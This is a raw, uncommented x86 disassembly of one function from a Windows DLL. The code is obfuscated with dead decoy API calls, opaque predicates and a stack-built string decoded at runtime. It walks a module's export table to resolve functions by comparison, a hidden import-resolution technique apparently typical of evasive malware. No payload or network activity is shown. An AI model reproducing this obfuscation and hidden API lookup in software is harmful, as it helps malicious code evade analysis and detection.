call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1001c703
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1001c6b6
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xe8], 0xfffffffd
jmp 0x1001c6cf
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 7
je 0x1001c703
mov byte [ebp - 0xff], 0
movzx eax, byte [ebp - 0xff]
test eax, eax
je 0x1001c701
push 0x1c7f
push 0
push 0x1528
push 0x1c69
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x1001c6c2
mov dword [ebp - 0x28], 7
cmp dword [ebp - 0x28], 0
jne 0x1001c82b
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0xe98], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xd90], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x184], 0
je 0x1001c74b
cmp dword [ebp - 0x28], 0
je 0x1001c74b
mov dword [ebp - 0x7d4], 1
jmp 0x1001c752
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x7d4], eax
jle 0x1001c76c
mov dword [ebp - 0x7dc], 1
jmp 0x1001c773
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x7dc], eax
jg 0x1001c78a
mov dword [ebp - 0x7e4], 1
jmp 0x1001c791
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0xfffffff9
jl 0x1001c7a6
mov dword [ebp - 0xa5c], 1
jmp 0x1001c7ad
and dword [ebp - 0xa5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0xea0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x184]
imul eax, eax, 0xfb11
test eax, eax
jne 0x1001c7f4
cmp dword [ebp - 0x28], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe8]
cmp dword [ebp + eax - 0x184], ecx
jge 0x1001c83e
mov eax, 0x35d7
test eax, eax
je 0x1001c83e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x184], 0
je 0x1001c83e
cmp dword [ebp - 0x7ec], 0
je 0x1001c83e
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x1001c83e
mov dword [ebp - 0x7f4], 1
jmp 0x1001c845
and dword [ebp - 0x7f4], 0
cmp dword [ebp - 0x7f4], 0x5cd4dcd7
jge 0x1001c863
mov eax, 0xdaf8d98c
test eax, eax
jne 0x1001c863
and dword [ebp - 0xab4], 0
jmp 0x1001c86d
mov dword [ebp - 0xab4], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0xd98], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x184], 0xe9347a64
jae 0x1001c89f
mov dword [ebp - 0x984], 1
jmp 0x1001c8a6
and dword [ebp - 0x984], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0xea8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0xda0], eax
xor eax, eax
add eax, 0xfffffff8
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x184]
jg 0x1001c8ec
mov dword [ebp - 0x7fc], 1
jmp 0x1001c8f3
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x7fc], eax
jle 0x1001c90d
mov dword [ebp - 0x804], 1
jmp 0x1001c914
and dword [ebp - 0x804], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x184]
add eax, dword [ebp - 0x804]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x184]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x184], eax
mov eax, dword [0x1061980c]
and eax, 1
jne 0x1001c978
mov eax, dword [0x1061980c]
or eax, 1
mov dword [0x1061980c], eax
mov dword [ebp - 4], 0x2a
mov ecx, 0x106198d4
call fcn.10021888
push 0x1006f6f3
call fcn.10055db5
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x106197e9]
test eax, eax
je 0x1001c9e4
mov ecx, 0x106198d4
call fcn.1002194d
movzx eax, al
test eax, eax
jne 0x1001c9e4
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x80c]
push eax
mov ecx, 0x106198d4
call fcn.10021956
lea eax, [ebp - 0xea4]
push eax
mov ecx, 0x106198d4
call fcn.1002193f
push eax
lea ecx, [ebp - 0x80c]
call fcn.10021745
movzx eax, al
test eax, eax
je 0x1001c9e4
lea ecx, [ebp - 0x80c]
call fcn.10021d4c
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0xffffffff
jne 0x1001cb0d
mov ecx, 0x106198d4
call fcn.10021c92
mov ecx, dword [ebp - 0xf0]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x106198d4
call fcn.10021c96
and dword [ebp - 0x1b8], 0
jmp 0x1001ca25
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x1b8]
cmp ecx, dword [eax + 0x18]
jae 0x1001cb0d
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x188]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1b8]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x1001cb08
mov eax, dword [ebp - 0x814]
mov ecx, dword [ebp - 0x188]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xfdc]
call fcn.100216c1
mov dword [ebp - 4], 0x2b
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xfdc]
call fcn.1000a818
mov dword [ebp - 0x81c], eax
movzx eax, byte [0x106197e9]
test eax, eax
je 0x1001cab6
mov ecx, 0x106198d4
call fcn.1002194d
movzx eax, al
test eax, eax
jne 0x1001cad6
lea eax, [ebp - 0x81c]
push eax
mov ecx, 0x106198d4
call fcn.10021c54
mov ecx, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov byte [0x106197e9], 1
cmp dword [ebp - 0x1c0], 0xffffffff
jne 0x1001caf9
mov eax, dword [ebp - 0x81c]
cmp eax, dword [ebp - 0x2d4]
jne 0x1001caf9
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfdc]
call fcn.100216e4
jmp 0x1001ca18
push 1
lea ecx, [ebp - 0xc08]
call fcn.10021765
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x60], 0
jmp 0x1001cb31
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x1001cb47
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb54], 1
jmp 0x1001cb2a
mov dword [ebp - 0x60], 0
jmp 0x1001cb57
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x1001cb73
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc08]
call fcn.1002185c
mov dword [eax], 0x9b2cfb63
jmp 0x1001cb50
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb54], 0
jmp 0x1001cba1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb54]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb54], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb54], 0x14
jge 0x1001cc22
mov dword [ebp - 0x204], 0x6210b999
mov dword [ebp - 0x204], 0
jmp 0x1001cbd4
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x1001cbf6
push dword [ebp - 0x204]
lea ecx, [ebp - 0xc08]
call fcn.1002185c
mov dword [eax], 1
jmp 0x1001cbc7
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1001cc1d
push 0x4c5
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x1001cb86
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc08]
call fcn.100217e7
cmp dword [ebp + 0x10], 0
jne 0x1001cc5d
cmp dword [ebp - 0x1c0], 0xffffffff
je 0x1001cc5d
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x188]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1c0]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x74], ax
mov dword [ebp - 0x160], 0x3717be9f
mov dword [ebp - 0x1b4], 0xf5fa3187
mov dword [ebp - 0x168], 0x34caa8e5
mov dword [ebp - 0x2dc], 0
jmp 0x1001cc94
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 1
jge 0x1001ccb0
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x90], 0xdf251d69
jmp 0x1001cc87
mov dword [ebp - 0x160], 0x2250
mov eax, dword [ebp - 0x160]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x90]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x90]
jl 0x1001cce9
mov dword [ebp - 0x990], 1
jmp 0x1001ccf0
and dword [ebp - 0x990], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x782a
jge 0x1001cd1b
mov dword [ebp - 0x824], 1
jmp 0x1001cd22
and dword [ebp - 0x824], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
cmp eax, dword [ebp - 0x824]
jne 0x1001cd43
mov dword [ebp - 0x82c], 1
jmp 0x1001cd4a
and dword [ebp - 0x82c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x82c]
mov dword [ebp + eax - 0x90], ecx
mov dword [ebp - 0x168], 0x35637001
mov dword [ebp - 0x168], 0xffffffe3
jmp 0x1001cd80
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x16
je 0x1001d0d6
push 2
lea ecx, [ebp - 0x464]
call fcn.10021765
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x834], 0xdb6b7be2
mov dword [ebp - 0x2e4], 0
jmp 0x1001cdc4
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 2
jge 0x1001cde6
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x464]
call fcn.1002185c
mov dword [eax], 0xfffffffe
jmp 0x1001cdb7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 0xd4782549
jbe 0x1001ce11
mov dword [ebp - 0x83c], 1
jmp 0x1001ce18
and dword [ebp - 0x83c], 0
mov eax, 0x96f37d43
test eax, eax
je 0x1001ce33
push 0
lea ecx, [ebp - 0x464]
call fcn.1002185c
cmp dword [eax], 0
jne 0x1001ce45
cmp dword [ebp - 0x160], 0
jne 0x1001ce45
and dword [ebp - 0x844], 0
jmp 0x1001ce4f
mov dword [ebp - 0x844], 1
mov eax, dword [ebp - 0x83c]
cmp eax, dword [ebp - 0x844]
jg 0x1001ce69
mov dword [ebp - 0x84c], 1
jmp 0x1001ce70
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0xffffffff
jb 0x1001ce85
mov dword [ebp - 0x854], 1
jmp 0x1001ce8c
and dword [ebp - 0x854], 0
push 1
lea ecx, [ebp - 0x464]
call fcn.1002185c
mov ecx, dword [ebp - 0x854]
cmp ecx, dword [eax]
jle 0x1001ceaf
mov dword [ebp - 0x85c], 1
jmp 0x1001ceb6
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 0x323f
je 0x1001cece
mov dword [ebp - 0x864], 1
jmp 0x1001ced5
and dword [ebp - 0x864], 0
push 0
lea ecx, [ebp - 0x464]
call fcn.1002185c
mov eax, dword [eax]
add eax, dword [ebp - 0x864]
je 0x1001cfd0
cmp dword [ebp - 0x168], 0
je 0x1001cf8b
mov dword [ebp - 0x160], 0
jmp 0x1001cf16
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 7
jge 0x1001cf89
mov dword [ebp - 0x1b4], 0
jmp 0x1001cf38
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jg 0x1001cf5d
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x1001cf5b
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
jmp 0x1001cf2b
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1001cf87
push 0x1f95
push 0
push 0x1688
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
jmp 0x1001cf09
jmp 0x1001cfcb
push 0
lea ecx, [ebp - 0x464]
call fcn.1002185c
cmp dword [eax], 0
je 0x1001cfb1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x464]
call fcn.100217e7
jmp 0x1001d0d6
mov byte [ebp - 0x107], 0
movzx eax, byte [ebp - 0x107]
test eax, eax
je 0x1001cfcb
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
jmp 0x1001d0c2
mov dword [ebp - 0x3ac], 0x3e2be8ca
mov dword [ebp - 0x86c], 0
mov dword [ebp - 0x3a8], 0x9025b0d6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x90], 0
je 0x1001d031
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x86c]
mov dword [ebp - 0x3a8], eax
je 0x1001d031
mov dword [ebp - 0x874], 1
jmp 0x1001d038
and dword [ebp - 0x874], 0
push 0
lea ecx, [ebp - 0x464]
call fcn.1002185c
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0xda8], eax
imul esi, dword [ebp - 0x874], 0xf848
push 0
lea ecx, [ebp - 0x464]
call fcn.1002185c
cmp esi, dword [eax]
jl 0x1001d081
cmp dword [ebp - 0x3a8], 0
je 0x1001d081
mov dword [ebp - 0x87c], 1
jmp 0x1001d088
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x168]
add eax, dword [ebp - 0x87c]
cmp eax, dword [ebp - 0x3ac]
jge 0x1001d0a8
mov dword [ebp - 0x884], 1
jmp 0x1001d0af
and dword [ebp - 0x884], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x884]
mov dword [ebp + eax - 0x90], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x464]
call fcn.100217e7
jmp 0x1001cd73
movzx eax, word [ebp - 0x74]
cmp eax, 0xffff
je 0x1001d506
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x188]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x74]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x998]
mov ecx, dword [ebp - 0x188]
add ecx, dword [eax]
mov dword [ebp - 0xd4], ecx
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xf0]
jbe 0x1001d4fe
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0xf0]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xd4], edx
jae 0x1001d4fe
mov eax, dword [0x1061980c]
and eax, 2
jne 0x1001d17b
mov eax, dword [0x1061980c]
or eax, 2
mov dword [0x1061980c], eax
mov dword [ebp - 4], 0x2e
push 0x213b
call fcn.1004305b
pop ecx
mov byte [0x106198d0], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xd0], 2
mov byte [ebp - 0xcf], 0xc5
mov byte [ebp - 0xce], 0
mov byte [ebp - 0xcd], 8
mov byte [ebp - 0xcc], 1
mov byte [ebp - 0xcb], 8
mov byte [ebp - 0xca], 3
mov byte [ebp - 0xc9], 0x4c
mov byte [ebp - 0xc8], 0xb6
mov byte [ebp - 0xc7], 0x91
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xd0]
or eax, 0xa9
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xd0]
and ecx, 0xa9
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xd0]
mov byte [ebp + ecx - 0x170], al
mov dword [ebp - 0x24], 2
and dword [ebp - 0x200], 0
jmp 0x1001d217
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xa
jae 0x1001d2f5
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xd0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1001d261
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xd0]
inc eax
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xd0]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x1001d20f
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xcf]
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x200]
movzx ecx, byte [ebp + ecx - 0xd2]
movsx ecx, byte [ebp + ecx - 0x170]
add eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0xcf]
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x200]
movzx edx, byte [ebp + edx - 0xd2]
movsx edx, byte [ebp + edx - 0x170]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0xcf]
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x200]
movzx edx, byte [ebp + edx - 0xd2]
movsx edx, byte [ebp + edx - 0x170]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0xd0]
mov byte [ebp + ecx - 0x170], al
and dword [ebp - 0x200], 0
jmp 0x1001d20f
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x170], 0
mov eax, dword [0x1061980c]
and eax, 4
jne 0x1001d341
mov eax, dword [0x1061980c]
or eax, 4
mov dword [0x1061980c], eax
mov dword [ebp - 4], 0x2f
lea eax, [ebp - 0x170]
push eax
mov ecx, 0x10619888
call fcn.100216c1
push 0x1006f6e4
call fcn.10055db5
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x2ec], 0
jmp 0x1001d357
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 4
jae 0x1001d370
mov eax, dword [ebp - 0x2ec]
mov byte [ebp + eax - 0x170], 0
jmp 0x1001d34a
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
movsx eax, byte [eax]
movsx ecx, byte [0x106198d0]
cmp eax, ecx
je 0x1001d39f
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
jmp 0x1001d37c
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
push dword [ebp - 0x178]
push dword [ebp - 0xd4]
lea ecx, [ebp - 0xf54]
call fcn.1002497b
mov dword [ebp - 4], 0x30
push 0x10619888
lea ecx, [ebp - 0xf54]
call fcn.100216ee
lea eax, [ebp - 0xc80]
push eax
lea ecx, [ebp - 0xf54]
call fcn.10021713
push dword [eax]
lea eax, [ebp - 0xc84]
push eax
lea ecx, [ebp - 0xf54]
call fcn.100216ff
push dword [eax]
lea ecx, [ebp - 0xffc]
call fcn.100249a4
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0xffc]
push eax
call fcn.1000d4e5
pop ecx
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0
je 0x1001d4aa
push dword [ebp - 0x178]
lea ecx, [ebp - 0xf98]
call fcn.100216c1
mov byte [ebp - 4], 0x32
lea edx, [ebp - 0x9a0]
lea ecx, [ebp - 0xf98]
call fcn.1000a8c4
movzx eax, al
test eax, eax
je 0x1001d47a
push 0
push dword [ebp - 0x9a0]
push 0
push dword [ebp - 0x3b4]
call fcn.1001585f
add esp, 0x10
mov dword [ebp - 0xd4], eax
jmp 0x1001d499
push 1
push 0
lea eax, [ebp - 0xf98]
push eax
push dword [ebp - 0x3b4]
call fcn.1001585f
add esp, 0x10
mov dword [ebp - 0xd4], eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xf98]
call fcn.100216e4
jmp 0x1001d4e0
cmp dword [ebp + 0x10], 0
jne 0x1001d4c0
mov ecx, dword [ebp + 0xc]
call fcn.100214f8
mov dword [ebp - 0x88c], eax
jmp 0x1001d4ca
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x88c], eax
push dword [ebp - 0x88c]
push dword [ebp + 8]
call fcn.10010190
pop ecx
pop ecx
mov dword [ebp - 0xd4], eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xffc]
call fcn.1002167a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf54]
call fcn.100216e4
mov eax, dword [ebp - 0xd4]
jmp 0x1001d508
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret